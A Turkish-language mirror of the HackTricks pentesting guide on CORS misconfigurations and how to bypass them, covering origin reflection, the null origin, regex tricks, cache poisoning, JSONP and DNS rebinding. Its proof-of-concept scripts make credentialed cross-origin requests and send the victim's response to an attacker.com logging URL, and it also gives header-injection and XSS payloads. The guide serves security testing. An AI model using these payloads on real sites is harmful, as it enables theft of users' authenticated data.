Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cors-bypass.md
Translator workflow 6cb783ece2 Translated to Turkish
2024-02-10 18:14:16 +00:00

31 KiB
Raw Blame History

CORS - Yanlış Yapılandırmalar ve Atlama

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

CORS Nedir?

Cross-Origin Resource Sharing (CORS) standardı, sunucuların varlıklarına kimin erişebileceğini ve harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu tanımlamasına olanak sağlar.

Aynı köken politikası, bir kaynağa istek yapan sunucu ve kaynağı barındıran sunucunun aynı protokolü (ör. http://), alan adını (ör. internal-web.com) ve portu (ör. 80) paylaşması gerektiğini zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfaları kaynaklara erişime izinlidir.

http://normal-website.com/example/example.html bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilir:

Erişilen URL Erişime izin verildi mi?
http://normal-website.com/example/ Evet: Aynı şema, etki alanı ve port
http://normal-website.com/example2/ Evet: Aynı şema, etki alanı ve port
https://normal-website.com/example/ Hayır: Farklı şema ve port
http://en.normal-website.com/example/ Hayır: Farklı etki alanı
http://www.normal-website.com/example/ Hayır: Farklı etki alanı
http://normal-website.com:8080/example/ Hayır: Farklı port*

*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.

Access-Control-Allow-Origin Başlığı

Bu başlık birden fazla kök, bir null değeri veya bir joker karakter * izin verebilir. Ancak, hiçbir tarayıcı birden fazla kökü desteklemez ve joker karakter * kullanımı kısıtlamalara tabidir. (Joker karakter yalnızca tek başına kullanılmalıdır ve Access-Control-Allow-Credentials: true ile birlikte kullanılması izin verilmez.)

Bu başlık, tarayıcının otomatik olarak bir Origin başlığı eklediği bir web sitesi tarafından başlatılan çapraz etki alanı kaynak isteğine yanıt olarak bir sunucu tarafından verilir.

Access-Control-Allow-Credentials Başlığı

Varsayılan olarak, çapraz etki alanı istekleri çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, yanıtın okunmasına izin vermek için kimlik bilgileri gönderildiğinde Access-Control-Allow-Credentials başlığını true olarak ayarlayabilir.

Eğer true olarak ayarlanırsa, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Ön uçu isteği

Çapraz Alan İletişiminde Ön Uçu İsteklerini Anlama

Belirli koşullar altında, örneğin standart olmayan bir HTTP yöntemi (HEAD, GET, POST dışında herhangi bir şey), yeni başlıklar tanıtma veya özel bir Content-Type başlık değeri kullanma durumunda, bir ön uçu isteği gerekebilir. Bu ön hazırlık isteği, OPTIONS yöntemini kullanarak sunucuyu yaklaşan çapraz kaynak isteğinin niyetleri hakkında bilgilendirir, bunlar arasında kullanmayı planladığı HTTP yöntemleri ve başlıklar bulunur.

Çapraz Kaynak Kaynak Paylaşımı (CORS) protokolü, bu ön uçu kontrolünü zorunlu kılar ve izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulayarak istenen çapraz kaynak işleminin uygulanabilirliğini belirler. Bir ön uçu isteği için gereksinimleri atlatan koşullar hakkında ayrıntılı bir anlayış için Mozilla Developer Network (MDN) tarafından sağlanan kapsamlı kılavuza başvurun.

Önemli bir nokta olarak, bir ön uçu isteğinin olmaması, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmaz. Bu başlıklar olmadan tarayıcı, çapraz kaynak isteğinden gelen yanıtı işleme yeteneğinden yoksun kalır.

Aşağıdaki örnekte, PUT yöntemini kullanmayı amaçlayan ve Special-Request-Header adında özel bir başlık içeren bir ön uçu isteğinin bir gösterimi gösterilmektedir:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politika ayrıntılarını belirten başlıklar döndürebilir:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Bu başlık, gerçek istekte hangi başlıkların kullanılabileceğini belirtir. Sunucu, istemciden gelen isteklerde izin verilen başlıkları belirtmek için bunu ayarlar.
  • Access-Control-Expose-Headers: Bu başlık aracılığıyla sunucu, basit yanıt başlıklarının yanı sıra yanıtın bir parçası olarak hangi başlıkların açığa çıkarılabileceğini istemciye bildirir.
  • Access-Control-Max-Age: Bu başlık, ön uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, ön uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler.
  • Access-Control-Request-Headers: Ön uçuş isteklerinde kullanılan bu başlık, istemcinin gerçek istekte hangi HTTP başlıklarını kullanmak istediğini sunucuya bildirmek için ayarlanır.
  • Access-Control-Request-Method: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
  • Origin: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kökenini belirtir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için bunu kullanır.

Unutmayın ki genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) GET/POST isteğinde ön uçuş isteği gönderilmez (isteğin doğrudan gönderilir), ancak yanıtın başlıklarını/gövdesini erişmek istiyorsanız, buna izin veren bir Access-Control-Allow-Origin başlığı içermelidir.
Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak yardımcı olabilir).

Yerel Ağ İstekleri Ön Uçuş İsteği

  1. Access-Control-Request-Local-Network: Bu başlık, istemcinin isteğinin yerel ağ kaynağına yönelik olduğunu belirtmek için istemcinin isteğine dahil edilir. Bu, isteğin yerel ağdan kaynaklandığını sunucuya bildirmek için bir işaret olarak hizmet eder.

  2. Access-Control-Allow-Local-Network: Sunucular, bu başlığı kullanarak yanıt olarak talep edilen kaynağın yerel ağ dışındaki varlıklarla paylaşılabileceğini iletişim kurmak için kullanır. Bu, farklı ağ sınırları arasında kaynakların kontrol edilmiş erişimini sağlarken güvenlik protokollerini korurken kaynak paylaşımına yeşil ışık yakar.

Yerel ağ isteğine izin veren geçerli bir yanıtın, yanıtta ayrıca Access-Controls-Allow-Local_network: true başlığını içermesi gerekmektedir:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Dikkat edilmesi gereken bir nokta, 0.0.0.0 IP adresinin localhost'a erişmek için bu gereksinimleri atlamak için kullanılabileceğidir, çünkü bu IP adresi "yerel" olarak kabul edilmez.

Ayrıca, yerel ağ gereksinimlerini atlamak mümkündür, eğer yerel bir uç noktanın genel IP adresini (örneğin yönlendiricinin genel IP'si) kullanırsanız. Çünkü birkaç durumda, genel IP erişiliyor olsa bile, eğer yerel ağdan erişiliyorsa, erişim izni verilecektir.

{% endhint %}

Sömürülebilir yanlış yapılandırmalar

Access-Control-Allow-Credentials ayarının true olarak ayarlanması, çoğu gerçek saldırı için bir önkoşuldur. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının bir isteği kendisi yerine getirmesinin avantajı azalır, çünkü bir kullanıcının çerezlerini kullanmak mümkün olmaz hale gelir.

İstisna: Kimlik Doğrulama Olarak Ağ Konumu Sömürüsü

Kurbanın ağ konumu, kimlik doğrulama şeklinde kullanıldığında bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına olanak tanır, IP tabanlı kimlik doğrulamayı atlayarak yerel ağ uygulamalarına erişim sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmasına rağmen, daha kolay sömürülebilir.

Access-Control-Allow-Origin içinde Origin'in Yansıtılması

Origin başlığının değerinin Access-Control-Allow-Origin içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden çok URL için etkinleştirmek isteyen geliştiriciler, Access-Control-Allow-Origin başlığını Origin başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle saldırganın geçerlilik mantığını aldatmak için tasarlanmış bir alan adı kullandığında, güvenlik açıklarına neden olabilir.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Kökenini Sömürme

Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen null kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alırken, yanlışlıkla herhangi bir web sitesinin bir sandboxed iframe aracılığıyla null kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlamasına neden olur.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Düzenli İfade Atlama Teknikleri

Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listelenmiş bir alan adına eklemek veya alt alan adı ele geçirme zafiyetlerinden yararlanmak gibi atlama fırsatlarını test etmek önemlidir. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince ayrıntıları göz ardı edebilir ve daha fazla atlama fırsatı sunabilir.

Gelişmiş Düzenli İfade Atlamaları

Düzenli ifade desenleri genellikle alfanümerik, nokta (.), ve tire (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı eder. Örneğin, tarayıcılar ve düzenli ifade desenleri tarafından farklı şekilde yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatabilir. Safari, Chrome ve Firefox'un alt alan adlarındaki alt çizgi karakterlerini nasıl işlediği, bu tür farklılıkların etki alanı doğrulama mantığını atlamak için nasıl sömürülebileceğini gösterir.

Bu atlama kontrolünün daha fazla bilgi ve ayarları için: https://www.corben.io/advanced-cors-techniques/ ve https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Bir alt alan içinde XSS'ten

Geliştiriciler, CORS sömürüsüne karşı koruma sağlamak için bilgi talep etmeye izin verilen alan adlarını beyaz listeye alarak savunma mekanizmaları uygularlar. Ancak, bu önlemlere rağmen, sistem güvenliği tam anlamıyla sağlanamaz. Beyaz listelenmiş alan adları içinde yalnızca bir adet bile zafiyete açık alt alanın bulunması, XSS (Cross-Site Scripting) gibi diğer zafiyetler aracılığıyla CORS sömürüsüne yol açabilir.

Örneğin, requester.com alan adının, başka bir alan adı olan provider.com'dan kaynaklara erişime izin verildiği senaryoyu düşünelim. Sunucu tarafı yapılandırması aşağıdaki gibi olabilir:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Bu yapıda, requester.com alt alan adlarının hepsi erişime izin verilir. Ancak, bir alt alan adı, örneğin sub.requester.com, XSS zafiyetiyle ele geçirilirse, saldırgan bu zayıflığı kullanabilir. Örneğin, sub.requester.com'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve provider.com üzerindeki kaynaklara kötü niyetli erişim sağlayabilir.

Sunucu tarafı önbellek zehirlenmesi

Bu araştırmadan

HTTP başlığı enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanan bir Cross-Site Scripting (XSS) zafiyeti oluşturulabilir. Bu senaryo, bir uygulamanın Origin başlığını yasaklı karakterlerden arındırmaması durumunda ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar \r (0x0d) karakterini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder ve bu da HTTP başlığı enjeksiyonu zafiyetlerine yol açar.

Aşağıdaki istekte Origin başlığı manipüle edildiği düşünülsün:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge, yanıtı şu şekilde yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bu zafiyeti doğrudan bir web tarayıcısının hatalı bir başlık göndermesiyle sömürmek mümkün olmasa da, Burp Suite gibi araçlar kullanılarak elle oluşturulmuş bir istek kullanılabilir. Bu yöntem, sunucu tarafında yanlışlıkla yanıtı kaydeden ve başkalarına sunan bir önbelleğe yol açabilir. Oluşturulan payload, sayfanın karakter setini UTF-7 olarak değiştirmeyi amaçlar. UTF-7, belirli bağlamlarda betik olarak yürütülebilen karakterleri kodlama yeteneği nedeniyle XSS zafiyetleriyle sık sık ilişkilendirilen bir karakter kodlamasıdır.

Daha fazla bilgi için depolanan XSS zafiyetleri hakkında PortSwigger sayfasına bakın.

Not: Özellikle sunucu tarafı önbellek zehirlenmesi yoluyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları dahil olmak üzere tüm kullanıcı tarafından sağlanan girişlerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için her zaman giriş doğrulaması içeren sağlam bir güvenlik modeli kullanın.

İstemci Tarafı Önbellek Zehirlenmesi

Bu araştırmadan

Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG görüntü etiketi içeren X-User-id başlığında bulunan içeriği geri yansıtır.

Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıtın tarayıcı tarafından doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun kullanışlılığı sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. Eğer Vary: Origin başlığı belirtilmezse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye yönlendirildiğinde doğrudan render edilebilir, başlangıç isteği üzerinde doğrudan render gereksinimini atlayarak. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.

Bu saldırıyı göstermek için, bir JSFiddle gibi bir web sayfasının ortamında yürütülecek şekilde tasarlanmış bir JavaScript örneği sunulur. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye, kötü niyetli JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlanmasının ardından, hedef URL'ye yönlendirmeye çalışır ve yanıt, Vary: Origin başlığının uygun şekilde işlenmeden önbelleğe alındıysa enjekte edilen betiğin yürütülmesini tetikleyebilir.

Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özetlenmiş bir açıklaması aşağıda verilmiştir:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Atlatma

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aynı köken politikasının (SOP) betik etiketi kullanılarak kaynaklar dahil edildiğinde uygulanmadığından yararlanan bir güvenlik açığı türüdür. Bu, betiklerin farklı alanlardan dahil edilebilmesi gerektiği için geçerlidir. Bu güvenlik açığı, bir saldırganın betik etiketi kullanılarak dahil edilen herhangi bir içeriğe erişim sağlamasına ve okumasına olanak tanır.

Bu güvenlik açığı, özellikle dinamik JavaScript veya JSONP (Padding ile JSON) gibi durumlarda önem kazanır, özellikle çerezler gibi ortam yetkisi bilgileri kimlik doğrulaması için kullanıldığında. Farklı bir sunucudan bir kaynak istendiğinde, çerezler dahil edilir ve saldırgan tarafından erişilebilir hale gelir.

Bu güvenlik açığını daha iyi anlamak ve azaltmak için, web uygulamalarınızdaki potansiyel XSSI güvenlik açıklarını tespit etmenize ve ele almanıza yardımcı olabilecek BurpSuite eklentisini kullanabilirsiniz. Eklentiye https://github.com/kapytein/jsonp adresinden erişebilirsiniz.

Farklı XSSI türleri hakkında ve nasıl istismar edileceği hakkında daha fazla bilgi için burayı okuyun.

İsteğe bir callback parametresi eklemeyi deneyin. Belki sayfa verileri JSONP olarak göndermek için hazırlanmıştır. Bu durumda, sayfa verileri Content-Type: application/javascript ile geri gönderilecektir ve CORS politikasını atlatır.

Kolay (faydasız?) atlatma

Access-Control-Allow-Origin kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını ve yanıtı geri göndermesini istemektir. Ancak bu senaryoda, son kurbanın kimlik bilgileri farklı bir etki alanına yapılan istek nedeniyle gönderilmez.

  1. CORS-escape: Bu araç, isteğinizi başlıklarıyla birlikte yönlendiren bir proxy sağlar ve aynı zamanda Origin başlığını istenen etki alanıyla eşleştirmek için sahte bir Origin başlığı oluşturur. Bu, CORS politikasını etkili bir şekilde atlatır. İşte XMLHttpRequest ile kullanım örneği:

  2. simple-cors-escape: Bu araç, istekleri proxy olarak yönlendirmek yerine sunucu kendi parametreleriyle kendi isteğini yapar.

Iframe + Popup Atlatma

e.origin === window.origin gibi CORS kontrol noktalarını iframe oluşturarak ve onun üzerinden yeni bir pencere açarak atlayabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL ile DNS Rebinding

TTL ile DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. İşleyişi aşağıdaki gibidir:

  1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
  2. Saldırgan daha sonra kendi etki alanının DNS (IP) adresini kurbanın web sayfasına yönlendirmek için değiştirir.
  3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve DNS kaydının ne kadar süreyle geçerli olacağını belirten bir TTL (Yaşam Süresi) değeri olabilir.
  4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır.
  5. Saldırgan, kurbanın IP adresi üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerez göndermeden kurbandan bilgi toplayabilir.

Bu teknik, tarayıcıların düşük TTL değerleriyle bile bu teknikten hemen yararlanmayı önleyebilecek önbellekleme mekanizmalarına sahip olduğunu unutmak önemlidir.

DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrol noktalarını atlamak veya bir kullanıcının veya botun uzun bir süre aynı sayfada kalması durumunda önbelleğin süresinin dolmasına izin veren senaryolar için kullanışlı olabilir.

DNS rebinding'i hızlı bir şekilde istismar etmek için https://lock.cmpxchg8b.com/rebinder.html gibi hizmetleri kullanabilirsiniz.

Kendi DNS rebinding sunucunuzu çalıştırmak için DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp bağlantı noktanızı açığa çıkarmanızı, ona işaret eden bir A kaydı oluşturmanızı (örneğin ns.example.com) ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmanızı (örneğin ns.example.com) içerir. ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenecektir.

Daha fazla anlama ve deney yapma için http://rebind.it/singularity.html adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz.

DNS Rebinding via DNS Cache Flooding

DNS önbelleğini sular altında bırakarak DNS önbellekleme mekanizmasını atlatmak için kullanılan başka bir teknik DNS rebinding via DNS cache flooding'dir. İşleyişi aşağıdaki gibidir:

  1. İlk olarak, kurban bir DNS isteği yapar ve saldırganın IP adresiyle yanıt alır.
  2. Önbellekleme savunmasını atlamak için saldırgan bir hizmet çalıştırır. Hizmet çalıştırıcı DNS önbelleğini sular altında bırakır ve önbelleğe alınmış saldırgan sunucu adını siler.
  3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar ve bu sefer genellikle yerel ana bilgisayarı işaret eden IP adresi 127.0.0.1 ile yanıt alır.

Servis çalıştırıcısı tarafından DNS önbelleğini sular altında bırakarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısının ikinci bir istekte bulunmasını zorlayabilir, bu sefer saldırganın istenen IP adresine çözülür.

DNS Rebinding via Önbellek

Önbellekleme savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan için birden fazla IP adresi kullanmaktır. İşleyişi aşağıdaki gibidir:

  1. Saldırgan, DNS sağlayıcısında aynı alt alan için iki A kaydı (veya iki IP'li tek bir A kaydı) ayarlar.
  2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
  3. Tarayıcı saldırganın IP adresini ilk olarak kullanmaya karar verirse, saldırgan aynı etki alanına HTTP istekleri gerçekleştiren bir yük yükleyebilir.
  4. Ancak saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
  5. Etki alanının yanıt vermediğini fark eden kurbanın tarayıcısı, ikinci verilen IP adresini kullanmaya devam eder.
  6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikası'nı (SOP) atlar ve saldırgan bu durumu istismar ederek kurbandan bilgi toplayabilir ve dışarıya sızdırabilir.

Bu teknik, birden fazla IP adresinin bir etki alanı için sağlandığında tarayıcıların davranışını kullanır. Yanı

Diğer Yaygın Geçişler

  • Dahili IP'ler izin verilmiyorsa, muhtemelen 0.0.0.0 yasağı unutulmuş olabilir (Linux ve Mac'te çalışır)
  • Dahili IP'ler izin verilmiyorsa, localhost için bir CNAME ile yanıt verin (Linux ve Mac'te çalışır)
  • Dahili IP'ler DNS yanıtlarına izin verilmiyorsa, www.corporate.internal gibi dahili servislere CNAME yanıtları verebilirsiniz.

DNS Rebidding Silahlandırılmış

Önceki geçiş teknikleri hakkında daha fazla bilgi ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi için Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Konferansı konuşmasına bakabilirsiniz.

Singularity of Origin, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.

DNS Rebinding'e Karşı Gerçek Koruma

  • Dahili servislerde TLS kullanın
  • Verilere erişmek için kimlik doğrulama isteyin
  • Host başlığını doğrulayın
  • https://wicg.github.io/private-network-access/: Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir ön uçuş isteği göndermek için öneri

Araçlar

CORS politikalarındaki olası yapılandırma hatalarını taramak için Fuzz

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları: